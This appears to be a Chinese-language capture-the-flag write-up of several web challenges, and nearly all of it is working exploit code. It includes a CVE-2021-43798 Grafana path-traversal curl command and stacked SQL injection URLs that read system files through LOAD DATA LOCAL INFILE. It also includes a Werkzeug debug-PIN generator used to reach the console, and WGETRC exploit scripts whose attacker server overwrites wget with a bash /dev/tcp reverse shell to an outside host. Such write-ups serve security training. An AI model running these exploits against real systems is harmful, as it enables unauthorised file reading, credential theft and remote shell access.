Web#

oh-my-grafana#

CVE-2021-43798 任意文件读

1
curl --path-as-is http://123.60.106.123:3000/public/plugins/alertGroups/../../../../../../../../etc/grafana/grafana.ini -O

admin 密码:5f989714e132c9b04d4807dafeb10ade
datasource 处有 MySQL
执行 SQL 语句,在 grafana.fffffflllllllllaaaagggggg 的 flag 列找到 flag

1
select flag as value, now() as time from grafana.fffffflllllllllaaaagggggg;

oh-my-notepro#

http://121.37.153.47:5002/view?note_id=%27
SQL 注入
可以 sqlmap 一把梭,数据库里面没啥东西,不能 load_file
不存在的 id 触发 flask debug 信息,说明 flask 是 debug mode
http://121.37.153.47:5002/view?note_id=dg0twql9j6hs37ar7gt9kr60utztfqh
无意间通过 sqlmap dump-all 蹭车,发现有人读了文件
研究后发现是 MYSQL_LOCAL_INFILE 开启
任意文件读,然后根据 Werkzeug 2.1.1 版本 PIN 码生成策略(get_machine_id 为拼接 /etc/machine-id 和 /proc/self/cgroup 第一行 / 后字符串),读对应文件生成 PIN

1
2
3
4
5
6
7
8
9
10
11
http://123.60.72.85:5002/view?note_id=%27;create table result0 (value longtext); load data local infile '/sys/class/net/eth0/address' into table result0; select '1

http://123.60.72.85:5002/view?note_id=%27 union select 1,2,3,group_concat(value),5 from result0 where '1'='1

http://123.60.72.85:5002/view?note_id=%27;create table result1 (value longtext); load data local infile '/etc/machine-id' into table result1; select '1

http://123.60.72.85:5002/view?note_id=%27 union select 1,2,3,group_concat(value),5 from result1 where '1'='1

http://123.60.72.85:5002/view?note_id=%27;create table result2 (value longtext); load data local infile '/proc/self/cgroup' into table result2; select '1

http://123.60.72.85:5002/view?note_id=%27 union select 1,2,3,group_concat(value),5 from result2 where '1'='1

Pin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address
str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

num = None
if num is None:
h.update(b'pinsalt')
num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv
def getshell():
print(genpin("02:42:ac:1e:00:03","1cc402dd0e11d5ae18db04a6de87223d9699b2deaa1cc58219efebace7906c5ee60c3d74d2bfa88c8db536b0cc5d4e2f"))

if __name__ == '__main__':
getshell()

用 console 反弹 shell,执行 /getflag 获得 flag。

oh-my-lotto#

上传 /app/guess/forecast.txt 后可以设置任意 WGETRC
考虑设置 http_proxy 为服务器上返回与上传 forecast 相同内容的 HTTP 端口,绕过 lotto,得到 flag

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

target = 'http://121.36.217.177:53000'

requests.post(target+'/forecast', files={
'file': ('forecast.txt', 'http_proxy = http://xxx.xxx.xxx.xxx:12345')
})

r = requests.post(target+'/lotto', data={
'lotto_key': 'WGETRC',
'lotto_value': '/app/guess/forecast.txt'
})
print(r.content)

server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, make_response

app = Flask(__name__)

@app.route('/')
def index():
response = make_response('http_proxy = http://xxx.xxx.xxx.xxx:12345')
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=12345)

oh-my-lotto-revenge#

还是 wgetrc,使用 output_document = /usr/bin/wget 覆盖 wget 即可

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

target = 'http://124.71.204.16:53000'

requests.post(target+'/forecast', files={
'file': ('forecast.txt', '''output_document = /usr/bin/wget\nhttp_proxy = http://xxx.xxx.xxx.xxx:12345''')
})

requests.post(target+'/lotto', data={
'lotto_key': 'WGETRC',
'lotto_value': '/app/guess/forecast.txt'
})

requests.post(target+'/lotto', data={
'lotto_key': '1',
'lotto_value': '1'
})

server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, make_response

app = Flask(__name__)

@app.route('/')
def index():
response = make_response("#!/bin/sh\nbash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/12346 0>&1\"")
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=12345)